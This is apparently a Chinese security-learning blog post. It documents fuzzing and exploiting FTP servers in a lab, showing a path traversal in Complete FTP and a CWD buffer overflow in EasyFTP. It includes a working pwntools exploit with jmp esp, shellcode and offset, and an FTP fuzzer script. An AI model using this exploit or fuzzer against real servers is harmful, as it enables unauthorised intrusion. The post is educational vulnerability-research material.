ftp是比较常见的服务了,很多主机都有
加入挖掘到某个ftp服务器的漏洞,在渗透中又收集到确实是这个服务器,那该多爽啊
Quick 'n Easy FTP Server
跟着作者玩fuzzing
直接打开软件,第一次要设置账户,ftp根目录什么的
打开后点击start按钮
看看21端口有无开放
确实是可以登陆的
那就可以开始了咯
然而并没有崩溃,不能触发DOS攻击,难道又是因为我的系统是xp sp3的问题?
Complete FTP
在xp sp3好像装不了,就看看win7上能不能实验,安装是能装的
但是登陆不了,算了还是新建个用户吧
那就可以了
那么接下来实验可知权限控制不行,可以路径回溯
下图可以看到C盘根目录文件
easyftp
这次是缓冲区溢出漏洞
但是没有触发错误,但是服务直接关了
我觉得是数量不够,直接改成500个A,那就行啦
应该是A发送得太多了,导致覆盖到了不应覆盖的地方,导致函数没retn就报错了
之后发现用小写a才行
作者说在那个ws2_32.dll中的recv函数下断点,我暂时想不到怎么找
我将程序放到ida试试其他方法
总体挺清晰的
在程序中我也能找到recv函数
结果发现就是这么找的…,就是那个模块的
调试发现时一个一个字符这样接收的
其实作者说的这样不是很靠谱,要跟很久
我就直接找处理CWD命令的地方
ida全局搜索CWD
跟着交叉引用发现只有一处,就应该是这里,在这里下断点应该没错
应该在0040531F下断就好了
果然跳到这了,挺快的
跟踪到某个函数结束的时候,retn是就出现问题了,典型的问题
可以看到272是刚刚覆盖返回地址
我们将后面改为jmp esp,后面接shellcode就行了
找到这个
实验发现这里的shellcode不能太长了,会覆盖到不应该覆盖的东西
都不知道为啥,都跳到shellcode了,一旦单步,就跳到系统领空
应该是触发了异常
于是我就取xp的英文版系统实验试试,结果可以了
最终利用代码:
from pwn import * p = remote("192.168.253.156", 21) jmp_esp = 0x7E429353 shellcode = "\x33\xDB\x53\x68\x6E\x63\x68\x21\x68\x74\x62\x72\x61\x68\x67\x69\x61\x6E\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\x45\x7E\xFF\xD0" nop = "\x90" * 12 payload = 'a' * 268 + p32(jmp_esp) + nop + shellcode print p.recv(1024) p.sendline("USER anonymous") print p.recv(1024) p.sendline("PASS anonymous") print p.recv(1024) p.sendline("CWD " + payload) p.interactive()
最后我们才看看漏洞成因
首先我们的输入时第一个参数
那么改一下名
又给了一个本地变量
进而漏洞在此,复制到一个局部变量
再看看v39
计算一下偏移是否符合我们的实验结果
可以看到确实符合我们的实验代码
因为这里没有push esp,mov ebp,esp
所以不用+4
其实用字符定位最快了,又不用计算
Fuzz DIY
这里是写一个简单的针对性fuzzer,比如针对ftp的
先打开软件,建好账户
不过好像这个软件测试不出啥
还是用上面那个吧
确实可以啊,不过这个就了解一下fuzzer怎么写就好啦
代码:(敲自0day安全)
# -*- coding: utf-8 -*- # @Date : 2017-02-19 21:44:12 # @Author : giantbranch ([email protected]) # @Link : http://blog.csdn.net/u012763794?viewmode=contents # @Link : http://www.giantbranch.cn/ import sys import socket buffer = 'a' * 4 fuzzcmd = ['mdelete', 'cd', 'mkdir', 'delete', 'cwd', 'mdir', 'mput', 'mls', 'rename', 'site index' ] if len(sys.argv) != 4: print "[*] Please input like this: python fuzzFtp.py 192.168.253.151 21 1" sys.exit(0) target = sys.argv[1] port = int(sys.argv[2]) mode = int(sys.argv[3]) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: print target print port con = s.connect((target, port)) print "[*] Connected!" except: print "[*] Connect failed!" sys.exit(0) # 接受欢迎信息 s.recv(1024) s.send("USER giantbranch\r\n") s.recv(1024) s.send("PASS test\r\n") s.recv(1024) j = 100 if mode ==1: print "[*] Sending payload..." for i in fuzzcmd: s.send(i + ' ' + buffer*j + '\r\n') s.send(i + ' ' + buffer*j*4 + '\r\n') s.send(i + ' ' + buffer*j*8 + '\r\n') s.send(i + ' ' + buffer*j*40 + '\r\n') s.send(i + ' ' + buffer + ' ' + buffer + '\r\n') try: s.recv(1024) print "[!] WuWu, Failed!" except : print "[+] Yeah! Maybe you find a Bug!" if mode == 2: s.send('cd ../\r\n') ds = s.recv(50).find("550") if ds != -1: print "[+] Yeah! Maybe you can cd ../!" if mode == 2: s.send('cd ..\\r\n') dss = s.recv(50).find("550") if dss != -1: print "[+] Yeah! Maybe you can cd ..\!"
好啦,学习效率还不错